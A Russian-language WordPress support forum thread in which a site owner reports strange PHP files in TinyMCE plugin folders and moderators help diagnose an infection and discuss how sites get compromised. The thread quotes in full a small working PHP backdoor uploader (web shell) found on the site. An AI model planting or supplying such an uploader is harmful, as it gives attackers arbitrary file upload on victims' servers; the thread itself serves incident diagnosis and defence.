А теперь у меня следующая часть Марльезонского балета.
Второй сайт — http://formula-russia.ru
у него в админку я вхожу, но дальше — на любую клавишу белые страницы.
После прогона Вашей утилиты, выдало:
./wp-includes/js/tinymce/plugins/wpautoresize/544efd5.php
./wp-includes/js/tinymce/plugins/tabfocus/e0c487d.php
Это ВОМ ? или еще какой-то зверь ?
Модератор
Yui
(@fierevere)
永子
определенно, ваш сайт взломан, или заражен
в этих папках должно быть только по 2 файла .js
никаких php, тем более с такими именами
В первом файле вот такой текст. Вирус ?
<?php
if (realpath($_SERVER[‘SCRIPT_FILENAME’]) == __FILE__) {
echo ‘<b><br><br>’.php_uname().'<br><br><br></b>’;
echo ‘<form action=»» method=»post» enctype=»multipart/form-data» name=»uploader» id=»uploader»>’;
echo ‘<input type=»file» name=»file» size=»50″><input name=»_upl» type=»submit» id=»_upl» value=»Upload»></form>’;
if( $_POST[‘_upl’] == «Upload» ) {
if(@copy($_FILES[‘file’][‘tmp_name’], $_FILES[‘file’][‘name’])) { echo ‘<b>Dosya Basar1yla Upload Edildi..</b><br><br>’; }
else { echo ‘<b>Upload Basarisiz.. a2c41</b><br><br>’; }
}
}
?>
Модератор
Юрій
(@yube)
Вирус ?
Бэкдор-аплоадер. Ну да, вирус, в широком понимании этого термина.
А вот зачем их пишут ?
Главный вопрос — как вылечить ?
Насколько я понял, этим мусором загажены все 5 сайтов, которые у меня на одной платформе. Я прогнал rescan.pro
больших проблем он не обнаружил, выдал предупреждения о редиректах.
Денег у меня немного. Постараюсь сам вылечить сайты.
Есть вариант сделать это самостоятельно ?
Я сам году в 83-84 писал нечто подобное, но моя программуля была безобидной, она только выдавала на экраны ЕС ЭВМ надпись: «Силов есть ? Ума не надо !»
Силов — это начальник учебного вычислительного центра.
Модератор
Юрій
(@yube)
А вот зачем их пишут ?
С целью обогащения либо из сволочизма.
как вылечить ?
Ссылка выше, в ответе Yui.
Да, я прочитал, что написала Yui.
А вот тут все интересно: никаких левых тем или плагинов я не устанавливал. Более того, уже полгода не устанавливал ничего вообще. Ни одного скрипта не устанавливалось вручную. Я работаю на Маке, у нас вирусов нет.
Вот откуда прилетело ? Неужели хостер ?
Модератор
Юрій
(@yube)
но моя программуля была безобидной
Моррис тоже писал безобидного червячка, а убытки составили под сто миллионов долларов.
Впрочем, в 83-84 нашим ЕСками сетевые черви не грозили — за неимением сетей. Ну, почти. Кое-что все-таки было и даже как-то работало.
Модератор
Юрій
(@yube)
уже полгода не устанавливал ничего вообще.
Ну хоть старое, надеюсь, обновляли? Дыры находят постоянно. Вот, полюбуйтесь: https://www.exploit-db.com/search?q=wordpress (как страшно жЫть)
Я работаю на Маке, у нас вирусов нет.
Какие мы оптимисты! 🙂
Неужели хостер ?
И такое бывает. Лично у меня было: взломали хостера и заразили все сайты, которые у него жили.
Модератор
Yui
(@fierevere)
永子
я бы еще вот подкинула: http://www.opennet.ru/opennews/art.shtml?num=51749
так что вероятность «виноват хостер» сейчас сильно увеличивается, правда это скорее для Docker, VPS и прочего.
nginx + php-fpm с нетипичными установками, не сказала бы, что используется широко на обычных хостингах, скорее не используется.
Еще есть совсем свежак, в виде libmagic (расширение PHP fileinfo), 0-day
не закрыт нигде, правда насколько это можно использовать во вред и как именно — пока не ясно.
Модератор
Юрій
(@yube)
я бы еще вот подкинула
Миленько. Но это, по-моему, слишком утонченное и вряд ли массово применимое. Могу, конечно, ошибаться.
А комменты таки доставили. ПлакалЪ. Слава богам, что это всё для узкого круга ограниченных людей 😉 а то бы мы тут задолбались отвечать на вопрос «где скачать вордпресс на питоне?» 🙂
Модератор
Yui
(@fierevere)
永子
А Дунин с Сысоевым еще во времена, когда php-fpm ломали через загрузку картинок с PHP кодом внутри говорили — надо использовать try_files ,
что в принципе во всех рекомендациях для WordPress на Nginx и используется.
Да и в целом это скорее указание на то, что дыра может неожиданно оказаться практически где угодно и важно поддерживать ПО на сервере в актуальном состоянии.
И не только ПО на сервере, но и код сайта (WP, тема, плагины),
вовремя необновленные плагины или тема могут стать воротами инфекции для вирусов.
Также на в одной корзине не нужно держать все яйца на одном аккаунте не нужно держать все сайты.
В Joomla например недавно дыра была, серьезная. В WordPress — XSS.
Юрий, я достал поддержку своими заявками и они прислали мне файлы infected.txt и suspected.txt, где содержится куча ссылок на файлы.
Тупо удалить все эти файлы ?
Или можете подсказать более точный инструмент ?
В предыдущем сообщении имеются ввиду ссылки на файлы внутри WP в папках моего сайта.
